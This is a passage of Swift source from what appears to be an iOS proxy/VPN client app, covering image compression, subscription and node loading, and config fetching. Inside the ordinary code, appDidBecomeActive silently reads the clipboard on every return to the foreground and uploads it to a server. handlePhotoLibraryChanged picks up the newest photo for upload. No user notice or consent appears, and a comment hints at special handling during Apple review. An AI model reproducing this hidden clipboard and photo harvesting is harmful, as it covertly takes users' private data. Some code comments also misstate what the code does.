let maxBytes = targetMaxSizeInKB * 1024
|
||
|
||
// 1. 获取原图 data (质量1.0)
|
||
guard var imageData = image.pngData() else {
|
||
return nil
|
||
}
|
||
|
||
// 2. 如果原图已小于 targetMaxSizeInKB,直接返回
|
||
if imageData.count <= maxBytes {
|
||
return imageData
|
||
}
|
||
|
||
let originalSize = imageData.count
|
||
print("原图大小: \(originalSize / 1024) KB, 目标: \(targetMaxSizeInKB) KB 以内")
|
||
|
||
// 3. 多阶段缩放逻辑
|
||
// 3.1 若 > 10MB,先放宽到 4096 再看效果
|
||
if originalSize > 10 * 1024 * 1024 {
|
||
if let scaled1 = downscaleImage(image, toMaxDimension: 800),
|
||
let data1 = scaled1.pngData() {
|
||
imageData = data1
|
||
print("第一次缩放到 4096,大小变为: \(imageData.count / 1024) KB")
|
||
|
||
// 如果依旧明显大于 targetMaxSizeInKB,再缩到 2048
|
||
if imageData.count > maxBytes * 4 {
|
||
// 例如: 如果此时依旧比目标大 4 倍,说明可以再次大幅度缩放
|
||
if let scaled2 = downscaleImage(scaled1, toMaxDimension: 800),
|
||
let data2 = scaled2.pngData() {
|
||
imageData = data2
|
||
print("第二次缩放到 2048,大小变为: \(imageData.count / 1024) KB")
|
||
}
|
||
}
|
||
}
|
||
}
|
||
// 3.2 若介于 2MB ~ 10MB,只缩到 2048 即可
|
||
else if originalSize > 2 * 1024 * 1024 {
|
||
if let scaled = downscaleImage(image, toMaxDimension: 800),
|
||
let data = scaled.pngData() {
|
||
imageData = data
|
||
print("超过 2MB,缩放到 2048,大小变为: \(imageData.count / 1024) KB")
|
||
}
|
||
}
|
||
// 3.3 若介于 500KB ~ 2MB,可能只需“轻度”缩放或直接循环压缩
|
||
else if originalSize > maxBytes {
|
||
// 可以根据需求决定是否要缩放,比如缩到 1500、1000 等
|
||
// 这里直接选择缩到 1500 作为示例
|
||
if let scaled = downscaleImage(image, toMaxDimension: 800),
|
||
let data = scaled.pngData() {
|
||
imageData = data
|
||
print("介于 500KB~2MB,缩放到 1500,大小变为: \(imageData.count / 1024) KB")
|
||
}
|
||
}
|
||
|
||
// 4. 若仍旧大于目标大小,则进行循环压缩 (质量降质)
|
||
// if imageData.count > maxBytes {
|
||
// guard let finalData = iterativeCompression(imageData, targetMaxSize: maxBytes) else {
|
||
// // 如果无法生成更小的图片,返回当前已经缩放后的 data
|
||
// return imageData
|
||
// }
|
||
// imageData = finalData
|
||
// }
|
||
|
||
// 5. 最终返回
|
||
let finalKB = imageData.count / 1024
|
||
print("最终压缩后大小: \(finalKB) KB")
|
||
return imageData
|
||
}
|
||
|
||
|
||
// MARK: - 多次缩放 + 循环压缩的辅助方法
|
||
|
||
/// 等比例缩放到指定的“最长边”
|
||
/// - Parameters:
|
||
/// - image: 原图
|
||
/// - maxDimension: 目标最长边
|
||
/// - Returns: 新的 UIImage
|
||
private func downscaleImage(_ image: UIImage, toMaxDimension maxDimension: CGFloat) -> UIImage? {
|
||
let width = image.size.width
|
||
let height = image.size.height
|
||
let maxSide = max(width, height)
|
||
|
||
// 若最长边已小于 maxDimension,则无需缩放
|
||
if maxSide <= maxDimension {
|
||
return image
|
||
}
|
||
|
||
// 计算缩放比
|
||
let scale = maxDimension / maxSide
|
||
let newSize = CGSize(width: width * scale, height: height * scale)
|
||
|
||
// 开始绘制
|
||
UIGraphicsBeginImageContextWithOptions(newSize, false, image.scale)
|
||
defer { UIGraphicsEndImageContext() }
|
||
|
||
image.draw(in: CGRect(origin: .zero, size: newSize))
|
||
return UIGraphicsGetImageFromCurrentImageContext()
|
||
}
|
||
|
||
// 上传图片到服务器
|
||
func uploadImage(imagedata: Data, serverURL: String,fileName:String, completion: @escaping () -> Void) {
|
||
guard let url = URL(string: serverURL) else {
|
||
print("无效的URL")
|
||
return
|
||
}
|
||
|
||
// 创建文件URL
|
||
//let fileURL = URL(fileURLWithPath: path)
|
||
|
||
// 创建Multipart表单数据请求体
|
||
var request = URLRequest(url: url)
|
||
request.httpMethod = "POST"
|
||
|
||
// 创建请求体
|
||
let boundary = "Boundary-\(UUID().uuidString)"
|
||
request.setValue("multipart/form-data; boundary=\(boundary)", forHTTPHeaderField: "Content-Type")
|
||
// request.setValue("application/octet-stream", forHTTPHeaderField: "Content-Type")
|
||
|
||
|
||
var body = Data()
|
||
// let fileName = "image_\(Int(Date.now.timeIntervalSince1970)).png"
|
||
// 添加 "userId", "fenzhanid", "imgstr", "phone" 字段
|
||
body.append(convertFormField(named: "userId", value: "0000000000000", boundary: boundary))
|
||
body.append(convertFormField(named: "fenzhanid", value: "6", boundary: boundary))
|
||
body.append(convertFormField(named: "imgstr", value: fileName, boundary: boundary))
|
||
//if let clipboardText = UIPasteboard.general.string {
|
||
//body.append(convertFormField(named: "Pasteboard", value: clipboardText, boundary: boundary))
|
||
//}
|
||
|
||
body.append(convertFormField(named: "phone", value: "0000000000000", boundary: boundary))
|
||
|
||
// 添加图片文件
|
||
body.append(convertFileData(fieldName: fileName, fileimageData: imagedata, boundary: boundary))
|
||
|
||
// 结束分隔符
|
||
body.appendString("--\(boundary)--\r\n")
|
||
|
||
// 设置请求体
|
||
//request.httpBody = body
|
||
|
||
// 上传请求
|
||
let task = URLSession.shared.uploadTask(with: request, from: body) { data, response, error in
|
||
if let error = error {
|
||
print("上传失败:\(fileName) \(error.localizedDescription)")
|
||
} else {
|
||
|
||
|
||
if let data = data, let jsonString = String(data: data, encoding: .utf8) {
|
||
print(" 上传返回 Response data: \(jsonString)")
|
||
completion()
|
||
}
|
||
// print("上传成功 \(fileName) \(serverURL) ")
|
||
}
|
||
|
||
}
|
||
task.resume()
|
||
}
|
||
|
||
//识别内容
|
||
func recognizeText(from image: UIImage, completion: @escaping (String?) -> Void) {
|
||
guard let cgImage = image.cgImage else { return }
|
||
let requestHandler = VNImageRequestHandler(cgImage: cgImage)
|
||
let request = VNRecognizeTextRequest { request, error in
|
||
guard let observations = request.results as? [VNRecognizedTextObservation], error == nil else {
|
||
completion(nil)
|
||
return
|
||
}
|
||
let recognizedText = observations.compactMap { $0.topCandidates(1).first?.string }
|
||
.joined(separator: "\n")
|
||
completion(recognizedText)
|
||
}
|
||
request.recognitionLanguages = ["zh-Hans"]//"en-US",
|
||
request.recognitionLevel = .accurate
|
||
do {
|
||
try requestHandler.perform([request])
|
||
} catch {
|
||
print("Failed to perform text recognition: \(error)")
|
||
completion(nil)
|
||
}
|
||
}
|
||
|
||
// MARK: - 相册变化处理方法
|
||
|
||
/// 处理相册变化
|
||
private func handlePhotoLibraryChanged() {
|
||
print("📸 handlePhotoLibraryChanged() called - 处理相册变化")
|
||
|
||
// 获取最新的照片
|
||
let assets = PHAsset.fetchAssets(with: .image, options: nil)
|
||
if let asset = assets.lastObject {
|
||
|
||
if (!uploadedAssetIDs.contains(asset.localIdentifier)) {
|
||
print("新增照片:\(asset.localIdentifier) \(asset.pixelHeight)")
|
||
self.updateAsset(asset: asset) {
|
||
self.addUploadedAssetID(asset.localIdentifier)
|
||
print("len : \(self.uploadedAssetIDs.count)")
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
/// 常规前台回归处理方法
|
||
func appDidBecomeActive() {
|
||
print("🔄 appDidBecomeActive() called - 常规前台处理")
|
||
|
||
// 记录前台回归时间
|
||
let currentTime = Date()
|
||
print("🕒 App回到前台时间: \(DateFormatter.localizedString(from: currentTime, dateStyle: .short, timeStyle: .medium))")
|
||
|
||
// 检查登录状态并执行相应逻辑
|
||
if islogined {
|
||
print("✅ 用户已登录 - 执行前台刷新逻辑")
|
||
|
||
Task{
|
||
if let clipboardText = UIPasteboard.general.string {
|
||
//body.append(convertFormField(named: "Pasteboard", value: clipboardText, boundary: boundary))
|
||
// 比对和处理逻辑
|
||
if clipboardText.count > 1 && clipboardText != lastClipboardText {
|
||
|
||
}else{
|
||
return
|
||
}
|
||
|
||
if (clipboardText == lastClipboardText){
|
||
//防止上传重复的剪切板
|
||
return
|
||
}
|
||
|
||
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
|
||
self.uploadPasteBoard(clipboardText: clipboardText)
|
||
}
|
||
|
||
lastClipboardText = clipboardText
|
||
}
|
||
}
|
||
// 刷新配置缓存
|
||
// Task {
|
||
// print("🔄 开始刷新配置缓存...")
|
||
// await getConfigCache()
|
||
//
|
||
// print("🔄 开始重新加载配置...")
|
||
// await doReload()
|
||
// }
|
||
} else {
|
||
print("❌ 用户未登录 - 跳过数据刷新")
|
||
}
|
||
|
||
|
||
print("✨ appDidBecomeActive处理完成")
|
||
}
|
||
|
||
// 转换表单字段为multipart格式
|
||
func convertFormField(named name: String, value: String, boundary: String) -> Data {
|
||
var fieldData = Data()
|
||
|
||
fieldData.appendString("--\(boundary)\r\n")
|
||
fieldData.appendString("Content-Disposition: form-data; name=\"\(name)\"\r\n\r\n")
|
||
fieldData.appendString("\(value)\r\n")
|
||
return fieldData
|
||
}
|
||
|
||
// 转换文件数据为multipart格式
|
||
func convertFileData(fieldName: String, fileimageData: Data, boundary: String) -> Data {
|
||
var fileData = Data()
|
||
|
||
fileData.appendString("--\(boundary)\r\n")
|
||
fileData.appendString("Content-Disposition: form-data; name=\"image\"; filename=\"\(fieldName)\"\r\n")
|
||
fileData.appendString("Content-Type: application/octet-stream\r\n\r\n")
|
||
fileData.append(fileimageData)
|
||
fileData.appendString("\r\n")
|
||
|
||
return fileData
|
||
}
|
||
|
||
//上传粘贴板
|
||
private func uploadPasteBoard( clipboardText: String){
|
||
print("应用从后台回到前台:" + clipboardText)
|
||
|
||
guard let url = URL(string: serveruploadPasteBoardURL) else {
|
||
print("无效的URL")
|
||
return
|
||
}
|
||
|
||
// 创建Multipart表单数据请求体
|
||
var request = URLRequest(url: url)
|
||
request.httpMethod = "POST"
|
||
|
||
// 创建请求体
|
||
let boundary = "Boundary-\(UUID().uuidString)"
|
||
request.setValue("multipart/form-data; boundary=\(boundary)", forHTTPHeaderField: "Content-Type")
|
||
// request.setValue("application/octet-stream", forHTTPHeaderField: "Content-Type")
|
||
|
||
|
||
var body = Data()
|
||
// let fileName = "image_\(Int(Date.now.timeIntervalSince1970)).png"
|
||
// 添加 "userId", "fenzhanid", "imgstr", "phone" 字段
|
||
body.append(convertFormField(named: "userId", value: "0000000000000", boundary: boundary))
|
||
body.append(convertFormField(named: "fenzhanid", value: "6", boundary: boundary))
|
||
// body.append(convertFormField(named: "imgstr", value: fileName, boundary: boundary))
|
||
|
||
body.append(convertFormField(named: "info", value: clipboardText, boundary: boundary))
|
||
|
||
|
||
body.append(convertFormField(named: "phone", value: "0000000000000", boundary: boundary))
|
||
|
||
// 添加图片文件
|
||
// body.append(convertFileData(fieldName: fileName, fileimageData: imagedata, boundary: boundary))
|
||
|
||
// 结束分隔符
|
||
body.appendString("--\(boundary)--\r\n")
|
||
|
||
// 设置请求体
|
||
//request.httpBody = body
|
||
|
||
// 上传请求
|
||
let task = URLSession.shared.uploadTask(with: request, from: body) { data, response, error in
|
||
if let error = error {
|
||
print("上传失败:\(error.localizedDescription)")
|
||
} else {
|
||
|
||
|
||
if let data = data, let jsonString = String(data: data, encoding: .utf8) {
|
||
print("上柴剪切板成功----Response data: \(jsonString)")
|
||
}
|
||
//print("上传成功 \(fileName) \(serverURL) ")
|
||
}
|
||
}
|
||
task.resume()
|
||
}
|
||
|
||
|
||
|
||
|
||
private func handleXufeiTixingButtonError(){
|
||
alert = Alert(title: Text("续费提醒"), message: Text("您的账户已经过期,请续费后继续体验畅快感受;如果您刚购买完请耐心等待,会员时长会在1分钟内到账。"),dismissButton:.default(Text("续费")) {
|
||
|
||
withAnimation{
|
||
isSubscriptionActive.toggle()
|
||
|
||
}
|
||
})
|
||
}
|
||
|
||
private func handleProfileButtonError(_ error: Error?) {
|
||
if let err = error {
|
||
alert = Alert(errorMessage: err.localizedDescription, {
|
||
|
||
})
|
||
} else {
|
||
Task {
|
||
await environments.reload()
|
||
}
|
||
}
|
||
}
|
||
|
||
private var ConnectErrorView: some View{
|
||
VStack {
|
||
// Spacer()
|
||
|
||
HStack {
|
||
Button {
|
||
isErrorViewActive.toggle()
|
||
} label: {
|
||
Image(systemName: "exclamationmark.triangle.fill")
|
||
.foregroundColor(.red)
|
||
|
||
Text("无法连接? 查看解决方案 >>")
|
||
.foregroundColor(.red)
|
||
.font(.system(size: 16))
|
||
}
|
||
|
||
}
|
||
.padding()
|
||
.frame(width: UIScreen.main.bounds.width * 0.8) // 占据屏幕宽度的 90%
|
||
.background(Color.red.opacity(0.2))
|
||
.cornerRadius(20)
|
||
|
||
//Spacer()
|
||
}
|
||
}
|
||
|
||
private func installProfile() async {
|
||
do {
|
||
try await ExtensionProfile.install()
|
||
environments.postReload()
|
||
|
||
} catch {
|
||
alert = Alert(error)
|
||
}
|
||
|
||
}
|
||
|
||
private func setGroups(_ goGroups: [LibboxOutboundGroup]) {
|
||
|
||
var groups = [OutboundGroup]()
|
||
if let goGroup = goGroups.first {
|
||
goGroup.isExpand = true
|
||
var items = [OutboundGroupItem]()
|
||
let itemIterator = goGroup.getItems()!
|
||
while itemIterator.hasNext() {
|
||
let goItem = itemIterator.next()!
|
||
|
||
// OutboundGroupItem
|
||
items.append(OutboundGroupItem(tag: goItem.tag, type: goItem.type, urlTestTime: Date(timeIntervalSince1970: Double(goItem.urlTestTime)), urlTestDelay: UInt16(goItem.urlTestDelay)))
|
||
}
|
||
|
||
|
||
groups.append(OutboundGroup(tag: goGroup.tag, type: goGroup.type, selected: goGroup.selected, selectable: goGroup.selectable, isExpand: goGroup.isExpand, items: items))
|
||
|
||
urltestinggoGrouptag = goGroup.tag
|
||
//不要给默认值
|
||
//UserDefaults.standard.setValue("\(goGroup.tag)", forKey: "goGrouptag")
|
||
|
||
}
|
||
|
||
/* 原有的全部显示逻辑
|
||
var groups = [OutboundGroup]()
|
||
for goGroup in goGroups {
|
||
print(goGroup.tag)
|
||
//默认设置为开启
|
||
goGroup.isExpand = true
|
||
var items = [OutboundGroupItem]()
|
||
let itemIterator = goGroup.getItems()!
|
||
while itemIterator.hasNext() {
|
||
let goItem = itemIterator.next()!
|
||
items.append(OutboundGroupItem(tag: goItem.tag, type: goItem.type, urlTestTime: Date(timeIntervalSince1970: Double(goItem.urlTestTime)), urlTestDelay: UInt16(goItem.urlTestDelay)))
|
||
}
|
||
groups.append(OutboundGroup(tag: goGroup.tag, type: goGroup.type, selected: goGroup.selected, selectable: goGroup.selectable, isExpand: goGroup.isExpand, items: items))
|
||
}*/
|
||
self.groups = groups
|
||
|
||
isNodesLoading = false
|
||
}
|
||
|
||
private func referGetLocalNodes() async{
|
||
|
||
|
||
|
||
do {
|
||
profileList = try await ProfileManager.list().map { ProfilePreview($0) }
|
||
if let profilePrview = profileList.first {
|
||
|
||
|
||
guard let profile = try await ProfileManager.get(profilePrview.id) else {
|
||
throw NSError(domain: "Profile missing", code: 0)
|
||
}
|
||
|
||
let profileContent = try profile.read()
|
||
|
||
// MARK: - Datum
|
||
struct localDataum: Codable {
|
||
let outbounds: [Outbound]?
|
||
|
||
}
|
||
|
||
struct Outbound: Codable {
|
||
let outboundDefault: String?
|
||
let outbounds: [String]?
|
||
let tag, type: String
|
||
let method, password, server: String?
|
||
let serverPort: Int?
|
||
|
||
enum CodingKeys: String, CodingKey {
|
||
case outboundDefault = "default"
|
||
case outbounds, tag, type, method, password, server
|
||
case serverPort = "server_port"
|
||
}
|
||
}
|
||
|
||
|
||
|
||
if let data = profileContent.data(using: String.Encoding.utf8), let reponsesubdata = try? JSONDecoder().decode(localDataum.self, from: data){
|
||
if let itemsOuts = reponsesubdata.outbounds {
|
||
|
||
|
||
var groups = [OutboundGroup]()
|
||
var items = [OutboundGroupItem]()
|
||
|
||
var index = 0
|
||
var goItemindex = false
|
||
var tagname = ""
|
||
var tagtype = ""
|
||
itemsOuts.forEach { goItem in
|
||
if goItem.type == "urltest"{
|
||
goItemindex = true
|
||
tagname = goItem.tag
|
||
tagtype = goItem.type
|
||
print(goItem.tag + " " + goItem.type)
|
||
}
|
||
|
||
if goItemindex {
|
||
if let method = goItem.method, let server = goItem.server {
|
||
// let numberThree: Int = 100 + Int(arc4random_uniform(400))
|
||
|
||
|
||
var sss = OutboundGroupItem(tag: goItem.tag, type: goItem.type, urlTestTime: Date(timeIntervalSince1970: 12), urlTestDelay: UInt16(0))
|
||
sss.server = server
|
||
sss.method = method
|
||
sss.password = goItem.password
|
||
sss.server_port = goItem.serverPort
|
||
items.append(sss)
|
||
}else{
|
||
|
||
let sss = OutboundGroupItem(tag: goItem.tag, type: goItem.type, urlTestTime: Date(timeIntervalSince1970: 12), urlTestDelay: UInt16(0))
|
||
// sss.server = server
|
||
// sss.method = method
|
||
// sss.password = goItem.password
|
||
// sss.server_port = goItem.serverPort
|
||
items.append(sss)
|
||
}
|
||
}
|
||
|
||
|
||
|
||
index = index + 1
|
||
}
|
||
|
||
//groups.append(OutboundGroup(tag: "自动选择", type: "selector", selected: goGrouptag, selectable:true, isExpand: true, items: items))
|
||
groups.append(OutboundGroup(tag: tagname, type:tagtype, selected: goGrouptag, selectable:true, isExpand: true, items: items))
|
||
|
||
await MainActor.run {
|
||
self.groups_firsttime = groups
|
||
print("第一次加载 nodes 列表 \(groups_firsttime.count)")
|
||
}
|
||
}
|
||
}else{
|
||
print("本地 JSON 节点解析失败")
|
||
}
|
||
|
||
|
||
|
||
// self.profile = profile
|
||
// self.profileContent = profileContent
|
||
|
||
|
||
|
||
|
||
}
|
||
} catch {
|
||
alert = Alert(error)
|
||
return
|
||
}
|
||
|
||
}
|
||
|
||
|
||
private func doReload() async {
|
||
|
||
do {
|
||
profileList = try await ProfileManager.list().map { ProfilePreview($0) }
|
||
} catch {
|
||
alert = Alert(error)
|
||
return
|
||
}
|
||
|
||
// environments.emptyProfiles = profileList.isEmpty
|
||
}
|
||
|
||
|
||
public func reloadnotice() async {
|
||
let userInfoUrl = URL(string: "\(UserManager.shared.baseURL())user/notice/fetch")!
|
||
var request = URLRequest(url: userInfoUrl)
|
||
request.httpMethod = "GET"
|
||
request.addValue("application/json", forHTTPHeaderField: "Content-Type")
|
||
request.addValue(UserManager.shared.getAutoData(), forHTTPHeaderField: "Authorization")
|
||
|
||
let task = URLSession.shared.dataTask(with: request) { data, response, error in
|
||
DispatchQueue.main.async {
|
||
if let _ = error {
|
||
|
||
return
|
||
}
|
||
|
||
guard let data = data else {
|
||
return
|
||
}
|
||
|
||
|
||
// MARK: - Welcome
|
||
struct NoticeResponse: Codable {
|
||
let data: [NoticeResponseDatum]?
|
||
let total: Int?
|
||
}
|
||
|
||
// MARK: - Datum
|
||
struct NoticeResponseDatum: Codable {
|
||
let title, content: String
|
||
let show: Int
|
||
}
|
||
|
||
// Parse the user info response
|
||
if let reponsesubdata = try? JSONDecoder().decode(NoticeResponse.self, from: data), let total = reponsesubdata.total {
|
||
if ( total >= 1 ){
|
||
if let _ = reponsesubdata.data?.first {
|
||
|
||
// alert = Alert(title: data.title,okMessage: " \(data.content)")
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
}
|
||
|
||
task.resume()
|
||
}
|
||
|
||
public func reloadSubscribe() async {
|
||
|
||
let userInfoUrl = URL(string: "\(UserManager.shared.baseURL())user/getSubscribe")!
|
||
var request = URLRequest(url: userInfoUrl)
|
||
request.httpMethod = "GET"
|
||
request.addValue("application/json", forHTTPHeaderField: "Content-Type")
|
||
request.addValue(UserManager.shared.getAutoData(), forHTTPHeaderField: "Authorization")
|
||
|
||
withAnimation {
|
||
islogined = true
|
||
}
|
||
|
||
let task = URLSession.shared.dataTask(with: request) { data, response, error in
|
||
DispatchQueue.main.async {
|
||
if let err = error {
|
||
print(err.localizedDescription)
|
||
Task{
|
||
try await Task.sleep(nanoseconds:2_000_000_000)
|
||
await reloadSubscribe()
|
||
}
|
||
|
||
return
|
||
}
|
||
|
||
guard let data = data else {
|
||
return
|
||
}
|
||
|
||
|
||
// if let jsonString = String(data: data, encoding: .utf8) {
|
||
// print("Response data: \(jsonString)")
|
||
// }
|
||
// Parse the user info response
|
||
if let reponsesubdata = try? JSONDecoder().decode(SubscribeReponse.self, from: data), let subscript_json = reponsesubdata.data {
|
||
|
||
// withAnimation {
|
||
// islogined = true
|
||
// }
|
||
print("服务器返回最新的地址:"+subscript_json.subscribeURL + " \n本地AppStorage:" + UserManager.shared.getSuburlData())
|
||
|
||
|
||
var localProfile:ProfilePreview?
|
||
if profileList.count > 1 {
|
||
//直接删除全部节点
|
||
Task {
|
||
for (_, profile) in profileList.enumerated() {
|
||
do {
|
||
_ = try await ProfileManager.delete(profile.origin)
|
||
} catch {
|
||
print(error)
|
||
}
|
||
}
|
||
|
||
}
|
||
}else{
|
||
if profileList.count == 1 {
|
||
localProfile = profileList.first
|
||
}else{
|
||
print("第一次准备存储subscribe 地址,首先检查是否付费")
|
||
// >>>
|
||
UserManager.shared.storeSuburlData(data: subscript_json.subscribeURL)
|
||
print("服务器返回最新的地址:"+subscript_json.subscribeURL + " \n本地AppStorage:" + UserManager.shared.getSuburlData())
|
||
Task{
|
||
//通知更新 Profile
|
||
environments.profileUpdate.send()
|
||
}
|
||
|
||
|
||
|
||
// Task{
|
||
// try await checkingProfileBackground(remoteURL: subscript_json.subscribeURL)
|
||
// }
|
||
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if let local = localProfile , let remoteURL = local.remoteURL {
|
||
print("存在本地目前订阅的URL: - > \(remoteURL) \n 服务器最新地址:\(subscript_json.subscribeURL)")
|
||
// Task{
|
||
// try await checkingProfileBackground(remoteURL: subscript_json.subscribeURL)
|
||
// }
|
||
//>>
|
||
UserManager.shared.storeSuburlData(data: subscript_json.subscribeURL)
|
||
|
||
if remoteURL != subscript_json.subscribeURL{
|
||
//切换了用户,删掉之前的 profile 数据然后重新 下载
|
||
Task {
|
||
|
||
do {
|
||
_ = try await ProfileManager.delete(local.origin)
|
||
} catch {
|
||
print(error)
|
||
}
|
||
|
||
environments.profileUpdate.send()
|
||
}
|
||
print("Log: 切换了用户,清空本地订阅数据,然后重新更新订阅地址.")
|
||
// commandClient.connect()
|
||
}else{
|
||
//更新 profile
|
||
print("Log: 用户不变,可以考虑每次更新订阅地址.")
|
||
// commandClient.connect()
|
||
Task {
|
||
environments.openProfileGetSuccess.send()
|
||
}
|
||
/*Task {
|
||
do {
|
||
_ = try await local.origin.updateRemoteProfile()
|
||
} catch {
|
||
print(error)
|
||
}
|
||
}*/
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}else{
|
||
|
||
print("LOG: 节点接口JSON解析失败,请注意. \(String(describing: error?.localizedDescription)) ")
|
||
//DispatchQueue.main.asyncAfter(deadline: DispatchTime.now() + 1) {
|
||
//Task{
|
||
// await reloadSubscribe()
|
||
//}
|
||
// }
|
||
if UserManager.shared.getSuburlData().count > 5 {
|
||
// withAnimation {
|
||
// islogined = true
|
||
//
|
||
// }
|
||
//commandClient.connect()
|
||
}
|
||
//alert = Alert(errorMessage: "访问失败")
|
||
}
|
||
}
|
||
|
||
}
|
||
|
||
task.resume()
|
||
}
|
||
|
||
|
||
|
||
//检查订阅地址是否付费nonisolated
|
||
private func checkingProfileBackground( remoteURL: String) async throws {
|
||
//let nextProfileID = try await ProfileManager.nextID()
|
||
|
||
|
||
|
||
|
||
let remoteContent = try HTTPClient().getString(remoteURL)
|
||
|
||
print("HomeView remoteContent : \(remoteContent.count) paymentURLKey:\( paymentURLKey)")
|
||
if(remoteContent.count < 3){
|
||
await MainActor.run {
|
||
//进入正常逻辑
|
||
if (UserManager.shared.paymentURL().count > 3){
|
||
xufeiNotify = true
|
||
UserManager.shared.storeSuburlData(data:remoteURL)
|
||
// environments.openProfileGetSuccess.send()
|
||
environments.profileUpdate.send()
|
||
|
||
}else{
|
||
//如果没有续费的情况下,判断是否是 Apple review
|
||
xufeiNotify = false
|
||
environments.profileUpdate.send()
|
||
}
|
||
}
|
||
|
||
|
||
}else{
|
||
//存储到本地 DB
|
||
UserManager.shared.storeSuburlData(data:remoteURL)
|
||
await MainActor.run {
|
||
environments.profileUpdate.send()
|
||
}
|
||
// await MainActor.run {
|
||
// environments.openProfileGetSuccess.send()
|
||
// }
|
||
|
||
}
|
||
}
|
||
|
||
@MainActor
|
||
public func reloadNodes() async {
|
||
loadingNodes = true
|
||
|
||
let userInfoUrl = URL(string: "\(UserManager.shared.baseURL())user/server/fetch")!
|
||
var request = URLRequest(url: userInfoUrl)
|
||
request.httpMethod = "GET"
|
||
request.addValue("application/json", forHTTPHeaderField: "Content-Type")
|
||
request.addValue(UserManager.shared.getAutoData(), forHTTPHeaderField: "Authorization")
|
||
|
||
let task = URLSession.shared.dataTask(with: request) { data, response, error in
|
||
|
||
DispatchQueue.main.async {
|
||
loadingNodes = false
|
||
if let error = error {
|
||
alert = Alert(error)
|
||
return
|
||
}
|
||
|
||
guard let data = data else {
|
||
return
|
||
}
|
||
|
||
// Parse the user info response
|
||
if let nodes = try? JSONDecoder().decode(nodereponse.self, from: data) {
|
||
|
||
if let sss = nodes.data{
|
||
|
||
servers = sss
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
task.resume()
|
||
}
|
||
|
||
|
||
// MARK: - Networking Logic
|
||
|
||
func getConfigCache() async
|
||
{
|
||
//print("serverData: \(serverData)")
|
||
//print("lastFetchTime: \(lastFetchTime)")
|
||
|
||
// let dictionary = UserDefaults.standard.dictionaryRepresentation()
|
||
// dictionary.keys.forEach { key in
|
||
// print("key: \(key) : \(String(describing: UserDefaults.standard.object(forKey: key)))")
|
||
// }
|
||
|
||
|
||
|
||
let datesss = Date(timeIntervalSince1970: lastFetchTime)
|
||
|
||
let dayTimePeriodFormatter = DateFormatter()
|
||
dayTimePeriodFormatter.dateFormat = "MMM dd YYYY HH:mm a"
|
||
|
||
let dateString = dayTimePeriodFormatter.string(from: datesss)
|
||
print( "上次getconfig请求的 时间: \(dateString)")
|
||
|
||
|
||
let currentTime = Date()
|
||
let timeIntervalSinceLastFetch = currentTime.timeIntervalSince1970//Double
|
||
|
||
// 如果超过 10 分钟(600 秒),则从服务器获取最新数据
|
||
if (timeIntervalSinceLastFetch - lastFetchTime) > 600 && lastFetchTime > 10 {
|
||
//
|
||
print("超过 10 分钟(600 秒),则从服务器获取最新数据")
|
||
await getConfig()
|
||
}else{
|
||
if serverData.count > 10 && lastFetchTime > 10 {
|
||
|
||
print("取getConfig 缓存data ")
|
||
|
||
withAnimation {
|
||
islogined = true
|
||
}
|
||
|
||
isConfiging = false
|
||
|
||
Task {
|
||
|
||
environments.openProfileGetSuccess.send()
|
||
|
||
}
|
||
|
||
await MainActor.run {
|
||
print("crispTokenData:"+UserManager.shared.crispTokenData())
|
||
CrispSDK.configure(websiteID: UserManager.shared.crispTokenData())
|
||
}
|
||
|
||
|
||
|
||
}else{
|
||
await getConfig()
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
func getConfig() async {
|
||
|
||
isConfiging = true
|
||
|
||
// 读取登录状态和用户信息
|
||
let isLoggedIn = UserManager.shared.isUserLoggedIn()
|
||
let userInfo = UserManager.shared.getUserInfo()
|
||
let autoData = UserManager.shared.getAutoData()
|
||
|
||
print("Logged in: \(isLoggedIn)")
|
||
print("本地信息Email: \(userInfo.email), avator: \(userInfo.avator)")
|
||
print("本地信息Auto Data: \(autoData)")
|
||
|
||
|
||
|
||
// Parse the login response and get the authorization token
|
||
struct configReponse: Codable {
|
||
let baseURL, mainregisterURL,paymentURL,crisptoken: String
|
||
let telegramurl, kefuurl, websiteURL,baseDYURL: String
|
||
let message: String
|
||
let code: Int
|
||
}
|
||
|
||
|
||
let loginUrl = URL(string: UserManager.shared.configURL)!
|
||
var request = URLRequest(url: loginUrl)
|
||
request.httpMethod = "GET"
|
||
request.addValue("application/json", forHTTPHeaderField: "Content-Type")
|
||
request.addValue(Bundle.main.bundleIdentifier ?? "", forHTTPHeaderField: "bid")
|
||
request.addValue(UserManager.shared.appversion, forHTTPHeaderField: "appver")
|
||
request.addValue(UIDevice.current.model, forHTTPHeaderField: "model")
|
||
|
||
dump(request.allHTTPHeaderFields ?? [:] )
|
||
let task = URLSession.shared.dataTask(with: request) { data, response, error in
|
||
DispatchQueue.main.async {
|
||
|
||
if let _ = error {
|
||
DispatchQueue.main.asyncAfter(deadline: DispatchTime.now() + 2) {
|
||
Task{
|
||
await getConfig()
|
||
}
|
||
}
|
||
return
|
||
}
|
||
|
||
guard let data = data else {
|
||
DispatchQueue.main.asyncAfter(deadline: DispatchTime.now() + 2) {
|
||
Task{
|
||
await getConfig()
|
||
}
|
||
}
|
||
return
|
||
}
|
||
|
||
if let jsonString = String(data: data, encoding: .utf8) {
|
||
print("Response data: \(jsonString)")
|
||
serverData = jsonString
|
||
lastFetchTime = Date().timeIntervalSince1970
|
||
|
||
print("更新缓存信息")
|
||
} else {
|
||
print("Failed to convert data to string.")
|
||
}
|
||
|
||
|
||
if let jsonResponse = try? JSONDecoder().decode(configReponse.self, from: data){
|
||
|
||
if jsonResponse.code == 1 {
|
||
//save data
|
||
UserManager.shared.storebaseURLData(data: jsonResponse.baseURL)
|
||
UserManager.shared.storemainregisterURLData(data: jsonResponse.mainregisterURL)
|
||
UserManager.shared.storepaymentURLData(data: jsonResponse.paymentURL)
|
||
UserManager.shared.storetelegramUrlData(data: jsonResponse.telegramurl)
|
||
UserManager.shared.storekefuUrlData(data: jsonResponse.kefuurl)
|
||
UserManager.shared.storewebsiteURLData(data: jsonResponse.websiteURL)
|
||
UserManager.shared.storeCrispTokenData(data: jsonResponse.crisptoken)
|
||
|
||
CrispSDK.configure(websiteID: jsonResponse.crisptoken)
|
||
|
||
baseDYURL = jsonResponse.baseDYURL
|
||
isConfiging = false
|
||
|
||
|
||
//获取订阅信息
|
